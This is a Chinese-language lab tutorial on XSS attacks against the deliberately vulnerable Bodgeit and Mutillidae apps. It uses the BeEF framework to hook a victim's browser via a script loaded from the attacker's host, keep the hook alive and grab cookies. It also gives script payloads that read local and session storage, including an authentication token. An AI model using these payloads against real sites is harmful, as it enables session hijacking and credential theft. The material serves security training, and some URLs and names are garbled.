目录
1.在Kali Linux中可以使用多种方法启动BeEF工具:
1.3修改配置文件/etc/beef-xss/config.yaml
3.1想象你是受害者(如Win7主机),你收到了一封包含XSS链接的电子邮件(或网页),若你点击它,访问了该链接:
3.2现在,在BeEF面板中,攻击者将看到一个浏览器上线:
3.3进入模块目录,转到浏览器中的 Persistence | Man-In-The-Browser,然后单击Execute执行它。
1.打开开发人员工具,转到Storage(存储)选项卡,再转到Local Storage(本地存储)并选择服务器地址(192.168.132.128) :
2.切换到Session Storage(会话存储)并选择服务器地址:
3.在同一浏览器上,打开一个新选项卡,然后转到Bodgelt (http://192.168.56.11/bodgeit/) 。
4.我们知道Bodgelt的搜索易受XSS 攻击,因此输入以下有效载荷,在搜索框中执行它:
6.返回 Mutillidael 选项卡并转至OWASP2013 | XSS | Reflected(First Order)(反映的第一顺序) | DNS Lookup(DNS查找)。
一、利用BeEF执行XSS攻击
BeEF,全称The Browser Exploitation Framework(浏览器攻击框架),是一款针对web浏览器的渗透测试工具。
在这个小节中,我们将演示利用XSS漏洞和 BeEF框架控制目标浏览器。
环境准备
在开始之前,我们需要确保已经启动了BeEF服务,默认管理页面的url 是:http://127.0.0.1:3000/ui/panel(默认账号和密码为beef /beef)。
1.在Kali Linux中可以使用多种方法启动BeEF工具:
1.1在终端执行beef-xss命令启动BeEF。
apt install beef
1.2安装beef-xss
apt install beef-xss
1.3修改配置文件/etc/beef-xss/config.yaml
注意1:启动BeEF之前确保apache2已经启动( systemctl restart apache2)﹔新版BeEF需要在启动时修改默认账号密码,或在配置文件"/etc/beef-xss/config.yaml"修改默认账号密码。
注意2:如果启动 BeEF报错,建议按下面步骤重新安装beef-xss
2卸载beef
#apt remove beef-xss
2.1重新安装ruby和 beef
#apt update
#apt install ruby
#apt install ruby-dev libpcap-dev#gem install eventmachine
#apt install beef-xss
2.3从安装 BeEF的目录下启动,如下图所示。
3.实战演练
BeEF需要目标浏览器调用hook.js文件,它能让浏览器挂钩到我们的BeEF服务器,另外我们将利用一个易受XSS攻击的应用程序,让目标用户调用它:
3.1想象你是受害者(如Win7主机),你收到了一封包含XSS链接的电子邮件(或网页),若你点击它,访问了该链接:
http://192.168.132.129/bodgeitl/search.jsp?q=<script src="http:!/192.168.132.128:3000/hook.js"></script>
3.2现在,在BeEF面板中,攻击者将看到一个浏览器上线:
3.3在浏览器被hook.js文件挂钩之后,目标用户在被域中导航攻击时,攻击者最好要让会话变为持久性的。下一步转到攻击者浏览器中的Commands选项卡,进入模块目录,转到浏览器中的 Persistence | Man-In-The-Browser,然后单击Execute执行它。
Persistence | Man-In-The-Browser
3.4模块执行后,在模块的历史记录中选择相关命令,检查结果如下:
3.5攻击者还可以使用BeEF在受害者浏览器中执行命令。例如,在模块目录中,到Browserl Get Cookie,点击Execute来获取用户的Cookie:
Browserl Get Cookie
二、Web存储中提取信息
在 HTML5之前,Web应用程序在用户计算机中持久或基于会话存储信息的唯一方法是通过cookie。在这个新版本的语言中,增加了新的存储选项,称为Web存储,即本地存储和会话存储。这些允许应用程序使用JavaScript 从客户端(浏览器)存储和检索信息,并且在本地存储的情况下或在会话存储的情况下保留此信息直到显式删除,直到保存它的选项卡或窗口关闭为止。
在本文中,我们将使用XSS漏洞从浏览器的Web存储中检索信息,表明如果应用程序容易受到攻击,攻击者可以轻松地利用这些信息。
环境准备
我们将再次使用Mutillidae II及其HTML5网络存储练习来完成此实验。以下是步骤:1.在Kali主机中,浏览Mutillidae ll ( http:/192.168.132.128/mutillidae)并在菜单中转到HTML5 |HTML5 Web Storage(存储)|HTML 5 Storage
http:/192.168.132.128/mutillidae
HTML5 |HTML5 Web Storage(存储)|HTML 5 Storage
1.打开开发人员工具,转到Storage(存储)选项卡,再转到Local Storage(本地存储)并选择服务器地址(192.168.132.128) :
2.在这里,我们可以看到Local Storage(本地存储)中有三个值。3.现在,切换到Session Storage(会话存储)并选择服务器地址:
在临时或每会话存储中,我们看到四个值,其中一个称为Secure.AuthenticationToken
3.我们之前提到可以基于每个域访问本地存储,这意味着在同一个域中运行的任何应用程序都可以读取和操作,例如,我们在步骤﹖中看到的 MessageOfTheDay条目。让我们尝试利用另一个漏洞应用程序来访问此数据。在同一浏览器上,打开一个新选项卡,然后转到
Bodgelt (http://192.168.56.11/bodgeit/) 。
Bodgelt (http://192.168.56.11/bodgeit/) 。
4.我们知道Bodgelt的搜索易受XSS 攻击,因此输入以下有效载荷,在搜索框中执行它:
<script>alert(window.localStorage.MessageOfTheDay);</script>
<script>alert(window.localStorage.MessageOfTheDay);</script>
5.现在,尝试使用会话存储:
<script>alert(window.sessionStorage.getItem("Secure.AuthenticationToken"));</script>
<script>alert(window.sessionStorage.getItem("Secure.AuthenticationToken"));</script>
6.由于我们无法从其他窗口访问会话存储,请返回 Mutillidael 选项卡并转至OWASP2013 | XSS | Reflected(First Order)(反映的第一顺序) | DNS Lookup(DNS查找)。
OWASP2013 | XSS | Reflected(First Order)(反映的第一顺序) | DNS Lookup(DNS查找)。
7.在"Hostname/IP"字段中,输入前面的有效内容并单击"Look DNS"(查找DNS)按钮: